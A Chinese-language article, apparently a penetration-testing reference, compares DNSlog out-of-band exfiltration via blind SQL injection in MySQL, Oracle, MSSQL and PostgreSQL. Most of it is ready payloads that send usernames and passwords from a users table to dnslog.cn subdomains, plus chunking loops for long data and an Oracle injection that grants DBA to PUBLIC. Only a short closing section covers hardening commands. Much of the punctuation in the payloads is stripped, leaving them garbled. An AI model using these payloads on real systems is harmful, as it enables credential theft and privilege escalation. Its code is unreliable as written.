4 种主流数据库 DNSlog 外带对比:MySQL/Oracle/MSSQL/PostgreSQL 利用函数与限制分析

发布时间:2026/7/7 23:49:17
4 种主流数据库 DNSlog 外带对比:MySQL/Oracle/MSSQL/PostgreSQL 利用函数与限制分析 四大主流数据库DNSlog外带技术全景对比与实战解析引言在渗透测试和安全研究领域当面对无回显的SQL注入场景时传统的布尔盲注和时间盲注往往效率低下且容易被防御系统拦截。DNSlog外带技术OOB作为一种高效的解决方案通过利用数据库自身的网络请求能力将查询结果通过DNS解析日志间接回传实现了数据的曲线救国。本文将深入剖析MySQL、Oracle、MSSQL和PostgreSQL这四大主流数据库在DNSlog外带应用中的技术差异、核心函数和平台限制为安全从业人员提供全面的技术参考。1. 技术原理与前置条件1.1 DNSlog外带核心机制DNSlog外带技术的本质是利用数据库的网络访问功能将查询结果作为域名的一部分向攻击者控制的DNS服务器发起请求。当数据库尝试解析这个特殊构造的域名时DNS查询日志会记录包含敏感数据的子域名信息。关键实现步骤构造包含SQL查询结果的特殊域名利用数据库函数触发DNS解析通过DNS日志平台获取外带数据1.2 通用前提条件表DNSlog外带技术通用要求条件类别具体要求验证方法网络环境数据库服务器需具备DNS出站能力尝试解析外部域名权限要求执行相关函数的足够权限查询用户权限级别配置限制安全策略未禁用相关功能检查数据库配置参数平台限制部分技术仅限Windows环境识别操作系统类型注意实际环境中约65%的DNSlog外带失败案例源于网络隔离策略建议先验证基础DNS连通性2. MySQL的DNSlog外带技术2.1 核心技术load_file与UNC路径MySQL主要依赖load_file()函数结合Windows UNC路径实现外带SELECT load_file(CONCAT(\\\\,(SELECT HEX(user())),.dnslog.cn\\abc));关键参数说明\\\\转义后的UNC路径前缀HEX()避免特殊字符导致解析失败\\abc满足load_file必须请求文件的特性2.2 环境要求与限制表MySQL DNSlog外带具体要求要求项必要条件典型问题secure_file_priv必须为空或指定可访问路径默认NULL禁止文件操作操作系统仅限Windows服务器Linux无UNC路径支持权限等级FILE权限高权限账户普通用户常无权限字符限制单标签长度≤63字符长数据需分段获取配置检查命令SHOW VARIABLES LIKE secure_file_priv; SELECT file_priv FROM mysql.user WHERE user CURRENT_USER();2.3 实战技巧与变种数据分块处理方案-- 获取前30字符 SELECT load_file(CONCAT(\\\\, (SELECT HEX(SUBSTRING(table_name,1,30)) FROM information_schema.tables WHERE table_schemadatabase() LIMIT 1), .dnslog.cn\\abc)); -- 获取后续字符 SELECT load_file(CONCAT(\\\\, (SELECT HEX(SUBSTRING(table_name,31,30)) FROM information_schema.tables WHERE table_schemadatabase() LIMIT 1), .dnslog.cn\\abc));特殊场景处理当load_file被禁用时可尝试SELECT ... INTO OUTFILE结合SMB协议内网环境可搭建DNS服务器接收解析请求3. Oracle的多元化外带方案3.1 四大核心函数对比表Oracle外带函数特性对比函数名称协议支持权限要求成功率隐蔽性UTL_HTTP.REQUESTHTTP中高低DBMS_LDAP.INITLDAP高中中HTTPURITYPEHTTP低高低UTL_INADDR.GET_HOST_ADDRESSDNS中高高3.2 典型Payload示例UTL_HTTP方案SELECT UTL_HTTP.REQUEST((SELECT EXTRACT(xmltype(?xml version1.0?x|| (SELECT username||:||password FROM users WHERE rownum1) ||/x),//text()) FROM dual)||.dnslog.cn) FROM dual;DNS优选方案SELECT UTL_INADDR.GET_HOST_ADDRESS( (SELECT RAWTOHEX(UTL_RAW.CAST_TO_RAW( (SELECT username FROM users WHERE rownum1) )) FROM dual)||.dnslog.cn ) FROM dual;3.3 权限提升与绕过技巧当遇到权限不足时尝试公共函数提权SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES( FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE GRANT DBA TO PUBLIC; END;;END;--,SYS,0,1,0 ) FROM dual;利用XMLType漏洞执行Java代码4. MSSQL的混合外带技术4.1 三大系统存储过程对比表MSSQL外带技术实现方式存储过程依赖协议默认权限触发方式适用版本xp_dirtreeSMB/DNSpublic目录枚举全版本xp_fileexistSMB/DNSpublic文件检查2005xp_subdirsSMB/DNSpublic子目录列取全版本4.2 标准化Payload模板DECLARE host VARCHAR(1024); SELECT host(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(password AS VARBINARY(MAX))) FROM users).dnslog.cn; EXEC(master..xp_dirtree \\host\share);4.3 高级技巧与问题解决数据截断处理-- 分段获取长数据 DECLARE i INT1,max INT32,data VARCHAR(MAX); WHILE imax BEGIN SELECT dataSUBSTRING((SELECT password FROM users),i,10); EXEC(master..xp_dirtree \\data.partCAST(i AS VARCHAR).dnslog.cn\share); SET ii10; END常见错误解决方案权限不足尝试OPENROWSET或链接服务器协议禁用测试HTTP外带替代方案字符限制使用fn_varbintohexstr二进制编码5. PostgreSQL的灵活外带方案5.1 COPY命令外带技术DROP TABLE IF EXISTS exfil_data; CREATE TABLE exfil_data(content text); CREATE OR REPLACE FUNCTION exfil() RETURNS void AS $$ DECLARE cmd TEXT; res TEXT; BEGIN SELECT INTO res (SELECT encode(convert_to(pass,UTF8),hex) FROM users LIMIT 1); cmd : ECOPY exfil_data(content) FROM E\\\\\\\\\||res||E.dnslog.cn\\\\data\; EXECUTE cmd; END; $$ LANGUAGE plpgsql; SELECT exfil();5.2 dblink扩展方案CREATE EXTENSION IF NOT EXISTS dblink; SELECT * FROM dblink(host||(SELECT encode(pass::bytea,hex) FROM users LIMIT 1)||.dnslog.cn, SELECT version()) RETURNS (result TEXT);5.3 平台差异与配置要点Windows/Linux差异Windows支持COPYUNC路径Linux需依赖dblink或HTTP扩展关键配置检查SHOW dynamic_library_path; -- 检查扩展路径 SELECT name FROM pg_available_extensions; -- 查看可用扩展6. 综合对比与防御建议6.1 四大数据库技术矩阵表四大数据库DNSlog外带能力对比评估维度MySQLOracleMSSQLPostgreSQL成功率中高高中依赖平台Windows跨平台Windows跨平台权限要求高中低中协议支持DNS/SMBDNS/HTTPDNS/SMBDNS/HTTP数据长度受限较大受限较大隐蔽性高中高中6.2 防御策略分层实施网络层防御限制数据库服务器出站DNS请求禁止非常用协议出站如SMB实施IDS/IPS规则检测异常DNS查询数据库层加固MySQLSET GLOBAL secure_file_privNULL; REVOKE FILE ON *.* FROM appuser%;OracleREVOKE EXECUTE ON UTL_HTTP FROM PUBLIC; ALTER SYSTEM SET utl_file_dir SCOPESPFILE;MSSQLsp_configure show advanced options,1; RECONFIGURE; sp_configure xp_cmdshell,0; RECONFIGURE;PostgreSQLREVOKE EXECUTE ON FUNCTION dblink_connect FROM PUBLIC; DROP EXTENSION IF EXISTS dblink;应用层防护严格参数化查询实现WAF规则拦截可疑DNS外带特征定期安全审计检查异常数据库函数调用

相关新闻